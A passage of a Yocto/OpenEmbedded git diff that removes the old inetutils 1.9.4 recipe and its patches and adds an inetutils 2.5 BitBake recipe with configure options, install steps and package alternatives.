- ping_efp6 handler6;
-+#endif
- ping_efp handler;
- };
-
- union ping_address {
- struct sockaddr_in ping_sockaddr;
-+#ifdef HAVE_IPV6
- struct sockaddr_in6 ping_sockaddr6;
-+#endif
- };
-
- typedef struct ping_data PING;
---
-2.8.3
-
diff --git a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch
deleted file mode 100644
index 3da4e9f55a..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From 552a7d64ad4a7188a9b7cd89933ae7caf7ebfe90 Mon Sep 17 00:00:00 2001
-From: Mike Frysinger <vapier at gentoo.org>
-Date: Thu, 18 Nov 2010 16:59:14 -0500
-Subject: [PATCH gnulib] printf-parse: pull in features.h for __GLIBC__
-
-Upstream-Status: Pending
-
-Signed-off-by: Mike Frysinger <vapier at gentoo.org>
----
- lib/printf-parse.h | 3 +++
- 1 files changed, 3 insertions(+), 0 deletions(-)
-
-diff --git a/lib/printf-parse.h b/lib/printf-parse.h
-index 67a4a2a..3bd6152 100644
---- a/lib/printf-parse.h
-+++ b/lib/printf-parse.h
-@@ -25,6 +25,9 @@
-
- #include "printf-args.h"
-
-+#ifdef HAVE_FEATURES_H
-+# include <features.h> /* for __GLIBC__ */
-+#endif
-
- /* Flags */
- #define FLAG_GROUP 1 /* ' flag */
---
-1.7.3.2
-
diff --git a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch
deleted file mode 100644
index b13bb9229f..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch
+++ /dev/null
@@ -1,14 +0,0 @@
-Upstream-Status: Pending
-
---- inetutils-1.8/lib/wchar.in.h
-+++ inetutils-1.8/lib/wchar.in.h
-@@ -70,6 +70,9 @@
- /* The include_next requires a split double-inclusion guard. */
- #if @HAVE_WCHAR_H@
- # @INCLUDE_NEXT@ @NEXT_WCHAR_H@
-+#else
-+# include <stddef.h>
-+# define MB_CUR_MAX 1
- #endif
-
- #undef _GL_ALREADY_INCLUDING_WCHAR_H
diff --git a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch
deleted file mode 100644
index 2592989a90..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-inetutils: define PATH_PROCNET_DEV if not already defined
-
-this prevents the following compilation error :
-system/linux.c:401:15: error: 'PATH_PROCNET_DEV' undeclared (first use in this function)
-
-this patch comes from :
- http://repository.timesys.com/buildsources/i/inetutils/inetutils-1.9/
-
-Upstream-Status: Inappropriate [not author]
-
-Signed-of-by: Eric Bénard <eric@eukrea.com>
----
-diff -Naur inetutils-1.9.orig/ifconfig/system/linux.c inetutils-1.9/ifconfig/system/linux.c
---- inetutils-1.9.orig/ifconfig/system/linux.c 2012-01-04 16:31:36.000000000 -0500
-+++ inetutils-1.9/ifconfig/system/linux.c 2012-01-04 16:40:53.000000000 -0500
-@@ -49,6 +49,10 @@
- #include "../ifconfig.h"
-
-
-+#ifndef PATH_PROCNET_DEV
-+ #define PATH_PROCNET_DEV "/proc/net/dev"
-+#endif
-+
- /* ARPHRD stuff. */
-
- static void
diff --git a/meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch b/meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch
deleted file mode 100644
index ff3abd86aa..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-Only check security/pam_appl.h which is provided by package libpam when pam is
-enabled.
-
-Upstream-Status: Pending
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
----
-diff --git a/configure.ac b/configure.ac
-index b35e672..e78a751 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -195,6 +195,19 @@ fi
-
- # See if we have libpam.a. Investigate PAM versus Linux-PAM.
- if test "$with_pam" = yes ; then
-+ AC_CHECK_HEADERS([security/pam_appl.h], [], [], [
-+#include <sys/types.h>
-+#ifdef HAVE_NETINET_IN_SYSTM_H
-+# include <netinet/in_systm.h>
-+#endif
-+#include <netinet/in.h>
-+#ifdef HAVE_NETINET_IP_H
-+# include <netinet/ip.h>
-+#endif
-+#ifdef HAVE_SYS_PARAM_H
-+# include <sys/param.h>
-+#endif
-+])
- AC_CHECK_LIB(dl, dlopen, LIBDL=-ldl)
- AC_CHECK_LIB(pam, pam_authenticate, LIBPAM=-lpam)
- if test "$ac_cv_lib_pam_pam_authenticate" = yes ; then
-@@ -587,7 +600,7 @@ AC_HEADER_DIRENT
- AC_CHECK_HEADERS([arpa/nameser.h errno.h fcntl.h features.h \
- glob.h memory.h netinet/ether.h netinet/in_systm.h \
- netinet/ip.h netinet/ip_icmp.h netinet/ip_var.h \
-- security/pam_appl.h shadow.h \
-+ shadow.h \
- stdarg.h stdlib.h string.h stropts.h sys/tty.h \
- sys/utsname.h sys/ptyvar.h sys/msgbuf.h sys/filio.h \
- sys/ioctl_compat.h sys/cdefs.h sys/stream.h sys/mkdev.h \
diff --git a/meta/recipes-connectivity/inetutils/inetutils/version.patch b/meta/recipes-connectivity/inetutils/inetutils/version.patch
deleted file mode 100644
index 532a0e5c08..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils/version.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Pending
-
-remove m4_esyscmd function
-
-Signed-off-by: Chunrong Guo <b40290@freescale.com>
---- inetutils-1.9.1/configure.ac 2012-01-06 22:05:05.000000000 +0800
-+++ inetutils-1.9.1/configure.ac 2012-11-12 14:01:11.732957019 +0800
-@@ -20,8 +20,7 @@
-
- AC_PREREQ(2.59)
-
--AC_INIT([GNU inetutils],
-- m4_esyscmd([build-aux/git-version-gen .tarball-version 's/inetutils-/v/;s/_/./g']),
-+AC_INIT([GNU inetutils],[1.9.4],
- [bug-inetutils@gnu.org])
-
- AC_CONFIG_SRCDIR([src/inetd.c])
diff --git a/meta/recipes-connectivity/inetutils/inetutils_1.9.4.bb b/meta/recipes-connectivity/inetutils/inetutils_1.9.4.bb
deleted file mode 100644
index adf6d4414e..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils_1.9.4.bb
+++ /dev/null
@@ -1,215 +0,0 @@
-DESCRIPTION = "The GNU inetutils are a collection of common \
-networking utilities and servers including ftp, ftpd, rcp, \
-rexec, rlogin, rlogind, rsh, rshd, syslog, syslogd, talk, \
-talkd, telnet, telnetd, tftp, tftpd, and uucpd."
-HOMEPAGE = "http://www.gnu.org/software/inetutils"
-SECTION = "net"
-DEPENDS = "ncurses netbase readline virtual/crypt"
-
-LICENSE = "GPLv3"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7"
-
-SRC_URI = "${GNU_MIRROR}/inetutils/inetutils-${PV}.tar.gz \
- file://version.patch \
- file://inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch \
- file://inetutils-1.8-0003-wchar.patch \
- file://rexec.xinetd.inetutils \
- file://rlogin.xinetd.inetutils \
- file://rsh.xinetd.inetutils \
- file://telnet.xinetd.inetutils \
- file://tftpd.xinetd.inetutils \
- file://inetutils-1.9-PATH_PROCNET_DEV.patch \
- file://inetutils-only-check-pam_appl.h-when-pam-enabled.patch \
- file://0001-rcp-fix-to-work-with-large-files.patch \
- file://fix-buffer-fortify-tfpt.patch \
- file://0001-ftpd-telnetd-Fix-multiple-definitions-of-errcatch-an.patch \
-"
-
-SRC_URI[md5sum] = "04852c26c47cc8c6b825f2b74f191f52"
-SRC_URI[sha256sum] = "be8f75eff936b8e41b112462db51adf689715658a1b09e0d6b05d11ec92cc616"
-
-inherit autotools gettext update-alternatives texinfo
-
-acpaths = "-I ./m4"
-
-SRC_URI += "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '', 'file://fix-disable-ipv6.patch', d)}"
-
-PACKAGECONFIG ??= "ftp uucpd \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ipv6 ping6', '', d)} \
- "
-PACKAGECONFIG[ftp] = "--enable-ftp,--disable-ftp,readline"
-PACKAGECONFIG[uucpd] = "--enable-uucpd,--disable-uucpd,readline"
-PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6 gl_cv_socket_ipv6=no,"
-PACKAGECONFIG[ping6] = "--enable-ping6,--disable-ping6,"
-
-EXTRA_OECONF = "--with-ncurses-include-dir=${STAGING_INCDIR} \
- inetutils_cv_path_login=${base_bindir}/login \
- --with-libreadline-prefix=${STAGING_LIBDIR} \
- --enable-rpath=no \
-"
-
-# These are horrible for security, disable them
-EXTRA_OECONF_append = " --disable-rsh --disable-rshd --disable-rcp \
- --disable-rlogin --disable-rlogind --disable-rexec --disable-rexecd"
-
-do_configure_prepend () {
- export HELP2MAN='true'
- cp ${STAGING_DATADIR_NATIVE}/gettext/config.rpath ${S}/build-aux/config.rpath
- install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.guess ${S}
- install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.sub ${S}
- rm -f ${S}/glob/configure*
-}
-
-do_install_append () {
- install -m 0755 -d ${D}${base_sbindir}
- install -m 0755 -d ${D}${sbindir}
- install -m 0755 -d ${D}${sysconfdir}/xinetd.d
- if [ "${base_bindir}" != "${bindir}" ] ; then
- install -m 0755 -d ${D}${base_bindir}
- mv ${D}${bindir}/ping* ${D}${base_bindir}/
- mv ${D}${bindir}/hostname ${D}${base_bindir}/
- fi
- mv ${D}${bindir}/ifconfig ${D}${base_sbindir}/
- mv ${D}${libexecdir}/syslogd ${D}${base_sbindir}/
- mv ${D}${libexecdir}/tftpd ${D}${sbindir}/in.tftpd
- mv ${D}${libexecdir}/telnetd ${D}${sbindir}/in.telnetd
- if [ -e ${D}${libexecdir}/rexecd ]; then
- mv ${D}${libexecdir}/rexecd ${D}${sbindir}/in.rexecd
- cp ${WORKDIR}/rexec.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rexec
- fi
- if [ -e ${D}${libexecdir}/rlogind ]; then
- mv ${D}${libexecdir}/rlogind ${D}${sbindir}/in.rlogind
- cp ${WORKDIR}/rlogin.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rlogin
- fi
- if [ -e ${D}${libexecdir}/rshd ]; then
- mv ${D}${libexecdir}/rshd ${D}${sbindir}/in.rshd
- cp ${WORKDIR}/rsh.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rsh
- fi
- if [ -e ${D}${libexecdir}/talkd ]; then
- mv ${D}${libexecdir}/talkd ${D}${sbindir}/in.talkd
- fi
- mv ${D}${libexecdir}/uucpd ${D}${sbindir}/in.uucpd
- mv ${D}${libexecdir}/* ${D}${bindir}/
- cp ${WORKDIR}/telnet.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/telnet
- cp ${WORKDIR}/tftpd.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/tftpd
-
- sed -e 's,@SBINDIR@,${sbindir},g' -i ${D}/${sysconfdir}/xinetd.d/*
- if [ -e ${D}${libdir}/charset.alias ]; then
- rm -rf ${D}${libdir}/charset.alias
- fi
- rm -rf ${D}${libexecdir}/
- # remove usr/lib if empty
- rmdir ${D}${libdir} || true
-}
-
-PACKAGES =+ "${PN}-ping ${PN}-ping6 ${PN}-hostname ${PN}-ifconfig \
-${PN}-tftp ${PN}-logger ${PN}-traceroute ${PN}-syslogd \
-${PN}-ftp ${PN}-ftpd ${PN}-tftpd ${PN}-telnet ${PN}-telnetd ${PN}-inetd \
-${PN}-rsh ${PN}-rshd"
-
-# The packages tftpd, telnetd and rshd conflict with the ones
-# provided by netkit, so add the corresponding -dbg packages
-# for them to avoid the confliction between the dbg package
-# of inetutils and netkit.
-PACKAGES =+ "${PN}-tftpd-dbg ${PN}-telnetd-dbg ${PN}-rshd-dbg"
-NOAUTOPACKAGEDEBUG = "1"
-
-ALTERNATIVE_PRIORITY = "79"
-ALTERNATIVE_${PN} = "whois"
-ALTERNATIVE_LINK_NAME[uucpd] = "${sbindir}/in.uucpd"
-
-ALTERNATIVE_PRIORITY_${PN}-logger = "60"
-ALTERNATIVE_${PN}-logger = "logger"
-ALTERNATIVE_${PN}-syslogd = "syslogd"
-ALTERNATIVE_LINK_NAME[syslogd] = "${base_sbindir}/syslogd"
-
-ALTERNATIVE_${PN}-ftp = "ftp"
-ALTERNATIVE_${PN}-ftpd = "ftpd"
-ALTERNATIVE_${PN}-tftp = "tftp"
-ALTERNATIVE_${PN}-tftpd = "tftpd"
-ALTERNATIVE_LINK_NAME[tftpd] = "${sbindir}/tftpd"
-ALTERNATIVE_TARGET[tftpd] = "${sbindir}/in.tftpd"
-
-ALTERNATIVE_${PN}-telnet = "telnet"
-ALTERNATIVE_${PN}-telnetd = "telnetd"
-ALTERNATIVE_LINK_NAME[telnetd] = "${sbindir}/telnetd"
-ALTERNATIVE_TARGET[telnetd] = "${sbindir}/in.telnetd"
-
-ALTERNATIVE_${PN}-inetd= "inetd"
-ALTERNATIVE_${PN}-traceroute = "traceroute"
-
-ALTERNATIVE_${PN}-hostname = "hostname"
-ALTERNATIVE_LINK_NAME[hostname] = "${base_bindir}/hostname"
-
-ALTERNATIVE_${PN}-doc = "hostname.1 dnsdomainname.1 logger.1 syslogd.8 \
- tftpd.8 tftp.1 telnetd.8"
-ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
-ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
-ALTERNATIVE_LINK_NAME[logger.1] = "${mandir}/man1/logger.1"
-ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
-ALTERNATIVE_LINK_NAME[telnetd.8] = "${mandir}/man8/telnetd.8"
-ALTERNATIVE_LINK_NAME[tftpd.8] = "${mandir}/man8/tftpd.8"
-ALTERNATIVE_LINK_NAME[tftp.1] = "${mandir}/man1/tftp.1"
-
-ALTERNATIVE_${PN}-ifconfig = "ifconfig"
-ALTERNATIVE_LINK_NAME[ifconfig] = "${base_sbindir}/ifconfig"
-
-ALTERNATIVE_${PN}-ping = "ping"
-ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
-
-ALTERNATIVE_${PN}-ping6 = "${@bb.utils.filter('PACKAGECONFIG', 'ping6', d)}"
-ALTERNATIVE_LINK_NAME[ping6] = "${base_bindir}/ping6"
-
-
-FILES_${PN}-dbg += "${base_bindir}/.debug ${base_sbindir}/.debug ${bindir}/.debug ${sbindir}/.debug"
-FILES_${PN}-ping = "${base_bindir}/ping.${BPN}"
-FILES_${PN}-ping6 = "${base_bindir}/ping6.${BPN}"
-FILES_${PN}-hostname = "${base_bindir}/hostname.${BPN}"
-FILES_${PN}-ifconfig = "${base_sbindir}/ifconfig.${BPN}"
-FILES_${PN}-traceroute = "${bindir}/traceroute.${BPN}"
-FILES_${PN}-logger = "${bindir}/logger.${BPN}"
-
-FILES_${PN}-syslogd = "${base_sbindir}/syslogd.${BPN}"
-RCONFLICTS_${PN}-syslogd = "rsyslog busybox-syslog sysklogd syslog-ng"
-
-FILES_${PN}-ftp = "${bindir}/ftp.${BPN}"
-
-FILES_${PN}-tftp = "${bindir}/tftp.${BPN}"
-FILES_${PN}-telnet = "${bindir}/telnet.${BPN}"
-
-# We make us of RCONFLICTS / RPROVIDES here rather than using the normal
-# alternatives method as this leads to packaging QA issues when using
-# musl as that library does not provide what these applications need to
-# build.
-FILES_${PN}-rsh = "${bindir}/rsh ${bindir}/rlogin ${bindir}/rexec ${bindir}/rcp"
-RCONFLICTS_${PN}-rsh += "netkit-rsh-client"
-RPROVIDES_${PN}-rsh = "rsh"
-
-FILES_${PN}-rshd = "${sbindir}/in.rshd ${sbindir}/in.rlogind ${sbindir}/in.rexecd \
- ${sysconfdir}/xinetd.d/rsh ${sysconfdir}/xinetd.d/rlogin ${sysconfdir}/xinetd.d/rexec"
-FILES_${PN}-rshd-dbg = "${sbindir}/.debug/in.rshd ${sbindir}/.debug/in.rlogind ${sbindir}/.debug/in.rexecd"
-RDEPENDS_${PN}-rshd += "xinetd tcp-wrappers"
-RCONFLICTS_${PN}-rshd += "netkit-rshd-server"
-RPROVIDES_${PN}-rshd = "rshd"
-
-FILES_${PN}-ftpd = "${bindir}/ftpd.${BPN}"
-FILES_${PN}-ftpd-dbg = "${bindir}/.debug/ftpd.${BPN}"
-RDEPENDS_${PN}-ftpd += "xinetd"
-
-FILES_${PN}-tftpd = "${sbindir}/in.tftpd ${sysconfdir}/xinetd.d/tftpd"
-FILES_${PN}-tftpd-dbg = "${sbindir}/.debug/in.tftpd"
-RCONFLICTS_${PN}-tftpd += "netkit-tftpd"
-RDEPENDS_${PN}-tftpd += "xinetd"
-
-FILES_${PN}-telnetd = "${sbindir}/in.telnetd ${sysconfdir}/xinetd.d/telnet"
-FILES_${PN}-telnetd-dbg = "${sbindir}/.debug/in.telnetd"
-RCONFLICTS_${PN}-telnetd += "netkit-telnet"
-RPROVIDES_${PN}-telnetd = "telnetd"
-RDEPENDS_${PN}-telnetd += "xinetd"
-
-FILES_${PN}-inetd = "${bindir}/inetd.${BPN}"
-
-RDEPENDS_${PN} = "xinetd"
diff --git a/meta/recipes-connectivity/inetutils/inetutils_2.5.bb b/meta/recipes-connectivity/inetutils/inetutils_2.5.bb
new file mode 100644
index 0000000000..0f1a0736bd
--- /dev/null
+++ b/meta/recipes-connectivity/inetutils/inetutils_2.5.bb
@@ -0,0 +1,218 @@
+SUMMARY = "The GNU inetutils are a collection of common networking utilities and servers."
+DESCRIPTION = "The GNU inetutils are a collection of common \
+networking utilities and servers including ftp, ftpd, rcp, \
+rexec, rlogin, rlogind, rsh, rshd, syslog, syslogd, talk, \
+talkd, telnet, telnetd, tftp, tftpd, and uucpd."
+HOMEPAGE = "http://www.gnu.org/software/inetutils"
+SECTION = "net"
+DEPENDS = "ncurses netbase readline virtual/crypt"
+
+LICENSE = "GPL-3.0-only"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7"
+
+SRC_URI[sha256sum] = "87697d60a31e10b5cb86a9f0651e1ec7bee98320d048c0739431aac3d5764fb6"
+SRC_URI = "${GNU_MIRROR}/inetutils/inetutils-${PV}.tar.xz \
+ file://rexec.xinetd.inetutils \
+ file://rlogin.xinetd.inetutils \
+ file://rsh.xinetd.inetutils \
+ file://telnet.xinetd.inetutils \
+ file://tftpd.xinetd.inetutils \
+ "
+
+inherit autotools gettext update-alternatives texinfo
+
+acpaths = "-I ./m4"
+
+PACKAGECONFIG ??= "ftp uucpd \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ipv6 ping6', '', d)} \
+ "
+PACKAGECONFIG[ftp] = "--enable-ftp,--disable-ftp,readline"
+PACKAGECONFIG[uucpd] = "--enable-uucpd,--disable-uucpd,readline"
+PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6 gl_cv_socket_ipv6=no,"
+PACKAGECONFIG[ping6] = "--enable-ping6,--disable-ping6,"
+
+EXTRA_OECONF = "--with-ncurses-include-dir=${STAGING_INCDIR} \
+ --with-libreadline-prefix=${STAGING_LIBDIR} \
+ --enable-rpath=no \
+ --with-path-login=${base_bindir}/login \
+ --with-path-cp=${base_bindir}/cp \
+ --with-path-uucico=${libexecdir}/uuico \
+ --with-path-procnet-dev=/proc/net/dev \
+ "
+
+EXTRA_OECONF:append:libc-musl = " --with-path-utmpx=/dev/null/utmpx --with-path-wtmpx=/dev/null/wtmpx"
+
+# These are horrible for security, disable them
+EXTRA_OECONF:append = " --disable-rsh --disable-rshd --disable-rcp \
+ --disable-rlogin --disable-rlogind --disable-rexec --disable-rexecd"
+
+# The configure script guesses many paths in cross builds, check for this happening
+do_configure_cross_check() {
+ if grep "may be incorrect because of cross-compilation" ${B}/config.log; then
+ bberror Default path values used, these must be set explicitly
+ fi
+}
+do_configure[postfuncs] += "do_configure_cross_check"
+
+# The --with-path options are not actually options, so this check needs to be silenced
+ERROR_QA:remove = "unknown-configure-option"
+
+do_configure:prepend () {
+ export HELP2MAN='true'
+}
+
+do_install:append () {
+ install -m 0755 -d ${D}${base_sbindir}
+ install -m 0755 -d ${D}${sbindir}
+ install -m 0755 -d ${D}${sysconfdir}/xinetd.d
+ if [ "${base_bindir}" != "${bindir}" ] ; then
+ install -m 0755 -d ${D}${base_bindir}
+ mv ${D}${bindir}/ping* ${D}${base_bindir}/
+ mv ${D}${bindir}/hostname ${D}${base_bindir}/
+ mv ${D}${bindir}/dnsdomainname ${D}${base_bindir}/
+ fi
+ mv ${D}${bindir}/ifconfig ${D}${base_sbindir}/
+ mv ${D}${libexecdir}/syslogd ${D}${base_sbindir}/
+ mv ${D}${libexecdir}/tftpd ${D}${sbindir}/in.tftpd
+ mv ${D}${libexecdir}/telnetd ${D}${sbindir}/in.telnetd
+ if [ -e ${D}${libexecdir}/rexecd ]; then
+ mv ${D}${libexecdir}/rexecd ${D}${sbindir}/in.rexecd
+ cp ${WORKDIR}/rexec.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rexec
+ fi
+ if [ -e ${D}${libexecdir}/rlogind ]; then
+ mv ${D}${libexecdir}/rlogind ${D}${sbindir}/in.rlogind
+ cp ${WORKDIR}/rlogin.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rlogin
+ fi
+ if [ -e ${D}${libexecdir}/rshd ]; then
+ mv ${D}${libexecdir}/rshd ${D}${sbindir}/in.rshd
+ cp ${WORKDIR}/rsh.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rsh
+ fi
+ if [ -e ${D}${libexecdir}/talkd ]; then
+ mv ${D}${libexecdir}/talkd ${D}${sbindir}/in.talkd
+ fi
+ mv ${D}${libexecdir}/uucpd ${D}${sbindir}/in.uucpd
+ mv ${D}${libexecdir}/* ${D}${bindir}/
+ cp ${WORKDIR}/telnet.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/telnet
+ cp ${WORKDIR}/tftpd.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/tftpd
+
+ sed -e 's,@SBINDIR@,${sbindir},g' -i ${D}/${sysconfdir}/xinetd.d/*
+ if [ -e ${D}${libdir}/charset.alias ]; then
+ rm -rf ${D}${libdir}/charset.alias
+ fi
+ rm -rf ${D}${libexecdir}/
+ # remove usr/lib if empty
+ rmdir ${D}${libdir} || true
+}
+
+PACKAGES =+ "${PN}-ping ${PN}-ping6 ${PN}-hostname ${PN}-ifconfig \
+${PN}-tftp ${PN}-logger ${PN}-traceroute ${PN}-syslogd \
+${PN}-ftp ${PN}-ftpd ${PN}-tftpd ${PN}-telnet ${PN}-telnetd ${PN}-inetd \
+${PN}-rsh ${PN}-rshd"
+
+# The packages tftpd, telnetd and rshd conflict with the ones
+# provided by netkit, so add the corresponding -dbg packages
+# for them to avoid the confliction between the dbg package
+# of inetutils and netkit.
+PACKAGES =+ "${PN}-tftpd-dbg ${PN}-telnetd-dbg ${PN}-rshd-dbg"
+NOAUTOPACKAGEDEBUG = "1"
+
+ALTERNATIVE_PRIORITY = "79"
+ALTERNATIVE:${PN} = "whois dnsdomainname"
+ALTERNATIVE_LINK_NAME[uucpd] = "${sbindir}/in.uucpd"
+ALTERNATIVE_LINK_NAME[dnsdomainname] = "${base_bindir}/dnsdomainname"
+
+ALTERNATIVE_PRIORITY_${PN}-logger = "60"
+ALTERNATIVE:${PN}-logger = "logger"
+ALTERNATIVE:${PN}-syslogd = "syslogd"
+ALTERNATIVE_LINK_NAME[syslogd] = "${base_sbindir}/syslogd"
+
+ALTERNATIVE:${PN}-ftp = "ftp"
+ALTERNATIVE:${PN}-ftpd = "ftpd"
+ALTERNATIVE:${PN}-tftp = "tftp"
+ALTERNATIVE:${PN}-tftpd = "tftpd"
+ALTERNATIVE_LINK_NAME[tftpd] = "${sbindir}/tftpd"
+ALTERNATIVE_TARGET[tftpd] = "${sbindir}/in.tftpd"
+
+ALTERNATIVE:${PN}-telnet = "telnet"
+ALTERNATIVE:${PN}-telnetd = "telnetd"
+ALTERNATIVE_LINK_NAME[telnetd] = "${sbindir}/telnetd"
+ALTERNATIVE_TARGET[telnetd] = "${sbindir}/in.telnetd"
+
+ALTERNATIVE:${PN}-inetd= "inetd"
+ALTERNATIVE:${PN}-traceroute = "traceroute"
+
+ALTERNATIVE:${PN}-hostname = "hostname"
+ALTERNATIVE_LINK_NAME[hostname] = "${base_bindir}/hostname"
+
+ALTERNATIVE:${PN}-doc = "hostname.1 dnsdomainname.1 logger.1 syslogd.8 \
+ tftpd.8 tftp.1 telnetd.8"
+ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
+ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
+ALTERNATIVE_LINK_NAME[logger.1] = "${mandir}/man1/logger.1"
+ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
+ALTERNATIVE_LINK_NAME[telnetd.8] = "${mandir}/man8/telnetd.8"
+ALTERNATIVE_LINK_NAME[tftpd.8] = "${mandir}/man8/tftpd.8"
+ALTERNATIVE_LINK_NAME[tftp.1] = "${mandir}/man1/tftp.1"
+
+ALTERNATIVE:${PN}-ifconfig = "ifconfig"
+ALTERNATIVE_LINK_NAME[ifconfig] = "${base_sbindir}/ifconfig"
+
+ALTERNATIVE:${PN}-ping = "ping"
+ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
+
+ALTERNATIVE:${PN}-ping6 = "${@bb.utils.filter('PACKAGECONFIG', 'ping6', d)}"
+ALTERNATIVE_LINK_NAME[ping6] = "${base_bindir}/ping6"
+
+
+FILES:${PN}-dbg += "${base_bindir}/.debug ${base_sbindir}/.debug ${bindir}/.debug ${sbindir}/.debug"
+FILES:${PN}-ping = "${base_bindir}/ping.${BPN}"
+FILES:${PN}-ping6 = "${base_bindir}/ping6.${BPN}"
+FILES:${PN}-hostname = "${base_bindir}/hostname.${BPN}"
+FILES:${PN}-ifconfig = "${base_sbindir}/ifconfig.${BPN}"
+FILES:${PN}-traceroute = "${bindir}/traceroute.${BPN}"
+FILES:${PN}-logger = "${bindir}/logger.${BPN}"
+
+FILES:${PN}-syslogd = "${base_sbindir}/syslogd.${BPN}"
+RCONFLICTS:${PN}-syslogd = "rsyslog busybox-syslog sysklogd syslog-ng"
+
+FILES:${PN}-ftp = "${bindir}/ftp.${BPN}"
+
+FILES:${PN}-tftp = "${bindir}/tftp.${BPN}"
+FILES:${PN}-telnet = "${bindir}/telnet.${BPN}"
+
+# We make us of RCONFLICTS / RPROVIDES here rather than using the normal
+# alternatives method as this leads to packaging QA issues when using
+# musl as that library does not provide what these applications need to
+# build.
+FILES:${PN}-rsh = "${bindir}/rsh ${bindir}/rlogin ${bindir}/rexec ${bindir}/rcp"
+RCONFLICTS:${PN}-rsh += "netkit-rsh-client"
+RPROVIDES:${PN}-rsh = "rsh"
+
+FILES:${PN}-rshd = "${sbindir}/in.rshd ${sbindir}/in.rlogind ${sbindir}/in.rexecd \
+ ${sysconfdir}/xinetd.d/rsh ${sysconfdir}/xinetd.d/rlogin ${sysconfdir}/xinetd.d/rexec"
+FILES:${PN}-rshd-dbg = "${sbindir}/.debug/in.rshd ${sbindir}/.debug/in.rlogind ${sbindir}/.debug/in.rexecd"
+RDEPENDS:${PN}-rshd += "xinetd tcp-wrappers"
+RCONFLICTS:${PN}-rshd += "netkit-rshd-server"
+RPROVIDES:${PN}-rshd = "rshd"
+
+FILES:${PN}-ftpd = "${bindir}/ftpd.${BPN}"
+FILES:${PN}-ftpd-dbg = "${bindir}/.debug/ftpd.${BPN}"
+RDEPENDS:${PN}-ftpd += "xinetd"
+
+FILES:${PN}-tftpd = "${sbindir}/in.tftpd ${sysconfdir}/xinetd.d/tftpd"
+FILES:${PN}-tftpd-dbg = "${sbindir}/.debug/in.tftpd"
+RCONFLICTS:${PN}-tftpd += "netkit-tftpd"
+RDEPENDS:${PN}-tftpd += "xinetd"
+
+FILES:${PN}-telnetd = "${sbindir}/in.telnetd ${sysconfdir}/xinetd.d/telnet"
+FILES:${PN}-telnetd-dbg = "${sbindir}/.debug/in.telnetd"
+RCONFLICTS:${PN}-telnetd += "netkit-telnet"
+RPROVIDES:${PN}-telnetd = "telnetd"
+RDEPENDS:${PN}-telnetd += "xinetd"
+
+FILES:${PN}-inetd = "${bindir}/inetd.${BPN}"
+
+RDEPENDS:${PN} = "xinetd"
diff --git a/meta/recipes-connectivity/iproute2/iproute2.inc b/meta/recipes-connectivity/iproute2/iproute2.inc
deleted file mode 100644
index 403d264308..0000000000
--- a/meta/recipes-connectivity/iproute2/iproute2.inc
+++ /dev/null
@@ -1,81 +0,0 @@
